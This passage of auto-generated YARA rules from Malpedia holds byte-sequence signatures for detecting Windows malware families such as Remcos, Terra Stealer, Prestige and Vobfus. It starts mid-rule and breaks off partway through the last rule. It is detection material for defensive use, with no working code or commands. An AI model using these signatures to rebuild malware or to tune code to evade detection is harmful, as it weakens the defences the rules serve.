		$sequence_5 = { eb1d 488d7808 488b9424501b0000 e8???????? 488d3dc0945f00 e8???????? 90 }
		$sequence_6 = { e8???????? 488b8424c8000000 488b542430 488b7058 4885f6 7429 4889742448 }
		$sequence_7 = { eb15 488d05172b4e00 e8???????? 488b4c2440 48ff4158 c60002 4889c3 }
		$sequence_8 = { eb1a 440fb64c342a 4183c14d 4401ca 88543c2a 448844342a 4883c002 }
		$sequence_9 = { e8???????? 833d????????00 750e 488b8c24e8060000 48894818 eb15 488d7818 }
	condition:
		7 of them and filesize < 29914112
}

rule MALPEDIA_Win_Unidentified_013_Korean_Malware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d60dc930-c78c-5d42-af04-60f16f7605c1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_013_korean_malware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_013_korean_malware_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "9a5847dac5275d9c2120b30f47a61dd30ccc7df5d5dee4cad62b8a046a1148d9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6888130000 4f ffd6 e8???????? 85c0 74eb bfb4000000 }
		$sequence_1 = { eb20 8d4604 c60000 eb18 8bc2 c604083f 897e14 }
		$sequence_2 = { e8???????? 8d842454030000 50 83ec1c 8bcc 899c2480060000 }
		$sequence_3 = { 837c242401 0f85be000000 0fb6542e04 3bd1 7412 }
		$sequence_4 = { e8???????? 83c404 837c243410 7221 8b442420 }
		$sequence_5 = { 8b4c2410 51 57 50 8944243c ff15???????? 8bf0 }
		$sequence_6 = { e8???????? 81c41c010000 c3 55 6a00 6a00 }
		$sequence_7 = { 50 8d842458060000 64a300000000 68???????? 68???????? 68???????? }
		$sequence_8 = { 8b842420010000 53 56 57 }
		$sequence_9 = { 395c2440 7304 8d44242c 8a1c38 0fb6cb }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Orcarat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f18bd4e3-b820-5b26-a4b2-4899e6f773ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orcarat_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "267a82fd5372f110668cffe923381f6f74a52ece9ba8a9c79d169c7d32552337"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a0d???????? 8a15???????? 346f 80f170 8844245e a1???????? 884c245c }
		$sequence_1 = { 85c0 755a 57 8dbbb0010000 83c9ff 8d9534020000 }
		$sequence_2 = { 51 68???????? 53 56 ffd5 85c0 }
		$sequence_3 = { 8bcd 6a00 e8???????? 85c0 7507 5f }
		$sequence_4 = { c21000 8d442420 6a00 8d4c2418 50 51 }
		$sequence_5 = { 6a01 8bcd c7432801000000 896c241c e8???????? }
		$sequence_6 = { 8b942408080000 56 8bf1 57 8bfa 83c9ff 33c0 }
		$sequence_7 = { 5e 81c404080000 c20400 8d54240e 8bce 52 }
		$sequence_8 = { f3a5 8bc8 83e103 f3a4 8d4c241c 51 e8???????? }
		$sequence_9 = { 0f84d1000000 80bc241c0400003f 0f8488000000 8bc3 8d94241c040000 2bc2 8dbc241c040000 }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Railsetter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40a35231-bcd6-50b5-8c16-f4224571abb5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.railsetter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.railsetter_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "1c0f0eee020c15b328d39cbed0a5c62b2c564fd1a70af2c0c1b9fc2367e71a1f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4d20 ff15???????? 90 488d8dd0010000 e9???????? }
		$sequence_1 = { 488d0ddc760400 eb07 488d0deb760400 ba11000000 }
		$sequence_2 = { 488d8d10010000 ff15???????? 85c0 741a ff15???????? 8bc8 2b8d14010000 }
		$sequence_3 = { 428a8c09687e0400 482bd0 8b42fc d3e8 49895008 41894018 0fb60a }
		$sequence_4 = { 488d0d36a00500 e8???????? 488bc8 0fb754246e e8???????? 488bc8 e8???????? }
		$sequence_5 = { 448d4205 488d0d4dae0400 e8???????? 0f57c0 0f1185c8000000 498bcc 49837c241810 }
		$sequence_6 = { 488d05c3ef0200 488903 eb02 33db 48891f }
		$sequence_7 = { 488d0d00690400 e8???????? ba19000000 448bca 448d4205 488d0d18640400 }
		$sequence_8 = { 483bc1 0f8291010000 4c8d4d0f 48837d2710 4c0f434d0f }
		$sequence_9 = { 48894a10 880a 488d153f360500 448d4115 488bcb e8???????? 488bc3 }
	condition:
		7 of them and filesize < 866304
}

rule MALPEDIA_Win_Flagpro_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "df493d50-e377-536e-a031-d239af918cf3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flagpro"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flagpro_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "8734d591635985c73e20c9ca4d9912448a0aab9867cea544ed16d714554a9f18"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4501 50 e8???????? 8bf8 83c420 }
		$sequence_1 = { 8b03 eb02 8bc3 55 8d2c3f }
		$sequence_2 = { ffd5 68???????? e8???????? 8b44241c }
		$sequence_3 = { c684249400000002 8b442448 8b08 8d542428 52 50 8b4120 }
		$sequence_4 = { 8b9180000000 50 ffd2 8b442418 }
		$sequence_5 = { 8b4e18 53 57 8bf8 8d5e04 83f908 7204 }
		$sequence_6 = { ffd2 47 3b7c243c 897c2450 0f8c03feffff e9???????? 8b44241c }
		$sequence_7 = { c744244400000000 a1???????? 8b500c b9???????? ffd2 8d7010 8974241c }
		$sequence_8 = { f7e2 8bea c1ed06 45 68e8030000 }
		$sequence_9 = { e8???????? 33f6 eb06 8b1d???????? b8???????? 8d5002 }
	condition:
		7 of them and filesize < 1411072
}

rule MALPEDIA_Win_Prestige_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7f375cd-3d34-546f-b2e4-9c5bb038ef3e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prestige_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "2346660d21873b1b5b8cefaf9e99067a1424befc1ebf82fdd47e2c270ae4e270"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83e920 e9???????? 83e920 e9???????? 83e904 e9???????? 83e93c }
		$sequence_1 = { 0f86e4010000 85c0 7430 6bc809 8945f4 8bc3 2bc6 }
		$sequence_2 = { e8???????? 51 68???????? 8d8dc0fcffff c645fc9f e8???????? 51 }
		$sequence_3 = { e8???????? 51 68???????? 8d8d28fbffff c645fc8e e8???????? 51 }
		$sequence_4 = { 0f9fc1 03ca 8b55ec 2bc2 3bc1 7ce0 6a0d }
		$sequence_5 = { 68???????? 8d8d08faffff c645fc82 e8???????? 51 68???????? 8d8d20faffff }
		$sequence_6 = { 8d55fc 6a0a ff7310 8d4de4 e8???????? 59 59 }
		$sequence_7 = { 59 59 0f45fb eb6f 8845d8 8b01 8b501c }
		$sequence_8 = { e8???????? 8bc6 c1e002 50 8b8598f8ffff 0fb70485bc534700 8d0485b84a4700 }
		$sequence_9 = { 8bf0 8b4b2c 8b5330 3bce 7426 85d2 740f }
	condition:
		7 of them and filesize < 1518592
}

rule MALPEDIA_Win_Vobfus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "42158425-a27c-57e2-bcf0-e9d26bb44ebe"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vobfus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vobfus_auto.yar#L1-L228"
		license_url = "N/A"
		logic_hash = "c01a7c959701e62f162b2189e2ece4b76a685509f6980577800ff6467b1d208b"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5508 8b92e8000000 8b826c1a0000 50 }
		$sequence_1 = { 8b5508 8b92e8000000 8b827c040000 50 }
		$sequence_2 = { 8b5508 8b92e8000000 8b82d81a0000 50 }
		$sequence_3 = { 8b5508 8b92e8000000 8b82f00b0000 50 }
		$sequence_4 = { 8bec 8b5508 8b92e8000000 8b82a00d0000 50 50 8b10 }
		$sequence_5 = { 8b82180b0000 50 50 8b10 ff5204 58 }
		$sequence_6 = { 55 8bec 8b5508 8b92e8000000 8b82c4040000 50 }
		$sequence_7 = { 8b5508 8b92e8000000 8b82b41a0000 50 }
		$sequence_8 = { 78ff 0d50004900 3e3cff 46 }
		$sequence_9 = { f2ed ec f2ed ec f3ed ebf2 ed }
		$sequence_10 = { 801800 0808 0006 3401 41 06 1005???????? }
		$sequence_11 = { f2e8fae6d5f6 d2b5f2bb8ff3 ae 73f3 }
		$sequence_12 = { 5c f6ac4ff8b54ffb c058fcca 61 }
		$sequence_13 = { 00e0 c9 8f00 e3ce 97 00e6 d39500e4d19b }
		$sequence_14 = { d39500e4d19b 00cf c0b200d1c3b600 e6d3 a1???????? 00ec dea600e0d4b3 }
		$sequence_15 = { 41 06 1001 ff06 0200 0100 }
		$sequence_16 = { 91 00d5 c19400d6c49500d7 c59900dac999 00e0 }
		$sequence_17 = { 06 1005???????? 0100 6c 74ff }
		$sequence_18 = { 7cc8 dc7acd e291 d2e8 }
		$sequence_19 = { 0100 8a00 0010 4c 0007 }
		$sequence_20 = { 46 14ff 0470 fe0a }
		$sequence_21 = { 6c 74ff 801800 0808 }
		$sequence_22 = { ae 73f3 aa 5c f6ac4ff8b54ffb }
		$sequence_23 = { 1400 48 0008 78ff 0d50004900 }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Tandfuy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f7c34ec9-5c47-5400-953b-2fc065900f46"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tandfuy_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "8bcf4f8924f2bd51984baf6f9c4aad50acc2f2e7396ee140bd5315db5dd99bae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f2ae 8b442410 f7d1 49 51 8b4c2418 }
		$sequence_1 = { 33c0 b9000a0000 50 50 }
		$sequence_2 = { 50 e8???????? b93f000000 33c0 8dbdecfdffff f3ab 66ab }
		$sequence_3 = { ff15???????? 8bd8 85db 0f84be000000 8d4c2408 6a00 }
		$sequence_4 = { ff15???????? 50 ff15???????? 85c0 0f84ea000000 8d4c2424 }
		$sequence_5 = { 33c0 c3 8b442408 50 ff15???????? }
		$sequence_6 = { e8???????? 83c40c 85c0 766e }
		$sequence_7 = { 33c0 f3a5 a4 b90a000000 }
		$sequence_8 = { 51 e8???????? 83c418 8bd0 8995d4faffff 8db5f0fcffff 8bfb }
		$sequence_9 = { 6800000080 56 f3ab ff15???????? 8bd8 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Crutch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3e20e20b-31c5-5834-8ab6-1f56ddff6199"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crutch_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "f4a23c9ddcadc5cf9e865fc280dcc92eecf1924dce5c0d12173bb5cf5ba3e418"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b5608 50 52 e8???????? 50 68???????? 56 }
		$sequence_1 = { c7861840000001000000 e8???????? 83c40c eb55 8b8608400000 68???????? 68???????? }
		$sequence_2 = { 771d 0fb68938370210 ff248d30370210 8b148500810610 52 68???????? eb19 }
		$sequence_3 = { 762d 8b4c2444 390f 7560 8bd1 56 52 }
		$sequence_4 = { 51 e8???????? 83c404 85c0 740d c744245c2a000000 e9???????? }
		$sequence_5 = { 33cc e8???????? 81c4a8090000 c3 663b742414 763a 8b4c2410 }
		$sequence_6 = { 8b442428 8b742420 8b38 81c630050000 e8???????? 5f 5e }
		$sequence_7 = { ff7580 e8???????? 83c404 6a01 6a2f 53 e8???????? }
		$sequence_8 = { e9???????? 8b44240c 68???????? 50 e8???????? 83c408 e9???????? }
		$sequence_9 = { 52 e8???????? 8bf0 83c408 85f6 750f 5e }
	condition:
		7 of them and filesize < 1067008
}

rule MALPEDIA_Win_Termite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "15b0d808-d79f-5784-bdde-fa38f9ed0952"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.termite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.termite_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "3a2de453ce8083809c117db4d85515335282489c9c64cdb918c15a2c3d5282e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7e5e 8b45ec 8b4010 8945f0 c745f400000000 eb41 }
		$sequence_1 = { 8b55f4 8b5204 891424 ffd0 8b4508 8b4010 }
		$sequence_2 = { 8b45f4 89442408 8b450c 89442404 8b45f0 890424 e8???????? }
		$sequence_3 = { 83f83f 771c 8b5508 8b45f4 899485f0feffff 8b85ecfeffff }
		$sequence_4 = { 8945fc 8b4508 8b4004 3b45f8 7e06 837dfc00 75d7 }
		$sequence_5 = { 8d85e4feffff 89442410 c744240c00000000 c744240800000000 8d85ecfeffff 89442404 891424 }
		$sequence_6 = { 890424 e8???????? c745b044000000 c745dc00010000 8b45f4 8945f0 8b45f0 }
		$sequence_7 = { c1e002 01d0 c1e002 05???????? c7400c00000000 8b55fc 89d0 }
		$sequence_8 = { 890424 e8???????? 8b450c 8b400c c744240804000000 8d9568feffff }
		$sequence_9 = { c7442404???????? 891c24 8944240c 8d45e1 }
	condition:
		7 of them and filesize < 312320
}

rule MALPEDIA_Win_Remcos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3ceadbea-888c-55f4-a47d-fc201de9516f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcos_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "53c8db12d7a75d44b5d7d131da62120ba8cecf14ac635a0e0b17a53e5078529b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7410 6a00 ff35???????? }
		$sequence_1 = { ff15???????? 50 ff15???????? 8d45f0 33f6 }
		$sequence_2 = { 51 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? }
		$sequence_3 = { ff15???????? 50 ff15???????? 8d45f0 33f6 50 }
		$sequence_4 = { 85c0 7410 6a00 ff35???????? ff15???????? }
		$sequence_5 = { 50 6a28 ff15???????? 50 ff15???????? 8d45f0 33f6 }
		$sequence_6 = { 7410 6a00 ff35???????? ff15???????? }
		$sequence_7 = { 8d45f8 50 ff15???????? ff7508 }
		$sequence_8 = { 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? }
		$sequence_9 = { 8d45f8 50 ff15???????? ff7508 ff15???????? }
	condition:
		7 of them and filesize < 1054720
}

rule MALPEDIA_Win_Joao_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a574fe28-a1f8-553e-b910-02d4312c2eca"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.joao"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.joao_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "26a2c27da2ce5891d333b17daccfb50c0846c7c8910a76f91916cef0b5d7e33f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c404 c705????????0f000000 891d???????? 881d???????? 8b4df4 64890d00000000 }
		$sequence_1 = { 5d c20c00 68???????? 53 e8???????? }
		$sequence_2 = { 83c004 8955d0 8945cc 3bd1 }
		$sequence_3 = { e8???????? 8845d4 c745fc01000000 84c0 0f84dc000000 8b16 8d4de4 }
		$sequence_4 = { 50 e8???????? 83c414 8b4508 c1e005 03c3 83e7e0 }
		$sequence_5 = { c1e005 03c3 83e7e0 03fb 894608 897e04 891e }
		$sequence_6 = { 52 6a40 6a20 68???????? ff15???????? }
		$sequence_7 = { 83ec08 53 56 8b7510 33c0 }
		$sequence_8 = { 8bc6 2bc7 5f 5e 5b 5d c20c00 }
		$sequence_9 = { 897dfc e8???????? 8d55f8 52 8bce c745f808000000 }
	condition:
		7 of them and filesize < 2867200
}

rule MALPEDIA_Win_Terra_Stealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "234ed187-f851-554b-a630-3727e334e709"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.terra_stealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "ba7828bda62d9e0272e6a0dfd1c69067ed7e871d009d7d515799e6dd5814f419"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f8523030000 488b0f 4885c9 7405 e8???????? 4180fc05 }
		$sequence_1 = { e8???????? 488983f0120000 4885c0 7456 41b80f000000 488d15302f0900 488bcb }
		$sequence_2 = { eb04 4c8b7d28 4533c9 4533c0 488d1525861d00 488d4c2478 ff15???????? }
		$sequence_3 = { ffca 84c0 7425 8bc8 410fb600 420fb6843840061f00 4238843940061f00 }
		$sequence_4 = { 0f8c6effffff 4533c9 418b5708 498bc1 8b7e08 85d2 498bcc }
		$sequence_5 = { ffc0 84c9 75e9 4863c8 4881f9f4010000 0f8339070000 488d8550010000 }
		$sequence_6 = { eb24 498b4e10 4885c9 7415 0f1f00 8b4164 2403 }
		$sequence_7 = { eb07 896b2c c6430144 488bc3 488b5c2478 4883c430 415d }
		$sequence_8 = { e9???????? 488d8ae80f0000 e9???????? 488d8a00100000 e9???????? 488d8a18100000 e9???????? }
		$sequence_9 = { e9???????? 488b5308 488d05d334f3ff 48ff42f8 4c8b4318 488b3b 4981f8ffffff7f }
	condition:
		7 of them and filesize < 4621312
}

rule MALPEDIA_Win_Transbox_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "587785a3-ca04-5ed2-9e1f-d44127f3688f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.transbox"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.transbox_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "5d7fecd2b9b1e3ab63215aebd667fbd9c5d2815341d593f4c4a09feacf699ae3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf1 8bda 57 837e1408 }
		$sequence_1 = { 33d2 8b5d08 8955fc 8945e4 8945d8 8955e8 395104 }
		$sequence_2 = { 8d4db8 e8???????? 8b35???????? 3b35???????? }
		$sequence_3 = { 74e0 6a04 8d85f8fbffff 50 6a49 6a00 ff964c010000 }
		$sequence_4 = { f7fb 56 8bf0 bbe0077e00 8bc3 2bc6 83f801 }
		$sequence_5 = { 57 8bf1 33ff 6804010000 57 8d4610 c706???????? }
		$sequence_6 = { 894608 85c0 74e0 6a04 8d85f8fbffff 50 6a49 }
		$sequence_7 = { 8985d8faffff 8b8544faffff 8985dcfaffff 397e14 7204 8b16 }
		$sequence_8 = { e8???????? 83c420 b812000000 33d2 8a900c530110 6683bc96760a000000 7506 }
		$sequence_9 = { 8d8504e1ffff 89bd44e1ffff 50 33db 89b540e1ffff 53 }
	condition:
		7 of them and filesize < 288768
}

rule MALPEDIA_Win_Breakthrough_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "52cb4cda-5730-54cc-9d0c-9a1defab8d55"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breakthrough_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breakthrough_loader_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "4417981ceb1c9a0093d9616e44b7782cd49e18f4737822a85a59217b8658f0b2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb06 8b3d???????? 8b4df4 85c9 7403 }
		$sequence_1 = { 50 57 ff15???????? 85c0 740a ba???????? e8???????? }
		$sequence_2 = { 83c408 83f8ff 742a 8b75f8 8bce 8935???????? }
		$sequence_3 = { ff5220 83e800 7412 83e801 7411 8b4c2424 }
		$sequence_4 = { 56 57 8965f0 8955dc bb???????? 895de4 33ff }
		$sequence_5 = { 7408 8b10 8bc8 6a01 ff12 5f 5e }
		$sequence_6 = { 8b048540354500 f644012880 745d 8d45d8 50 ff75e4 ff15???????? }
		$sequence_7 = { 85c0 7fb4 837dc810 8d4db4 0f434db4 33c0 }
		$sequence_8 = { ff75e4 e8???????? 8b7508 c746140f000000 }
		$sequence_9 = { 895de4 8b049d40354500 8945d4 8955e8 8a5c1029 }
	condition:
		7 of them and filesize < 753664
}

rule MALPEDIA_Win_Atmspitter_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6677a06d-f51d-5f9e-9075-cbbb34c35eda"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmspitter"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmspitter_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "bc5ce97320d3edf2cd777ada69ace7755633451b31f436076d0e817156126e74"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c70009000000 e8???????? ebd1 8bc8 c1f905 8d3c8d60da4000 }
		$sequence_1 = { 57 8bc2 c1f805 8b048560da4000 8bfa }
		$sequence_2 = { c686c800000043 c6864b01000043 c7466850c44000 6a0d e8???????? 59 8365fc00 }
		$sequence_3 = { ff15???????? 6a02 6a00 8bf8 6a00 57 }
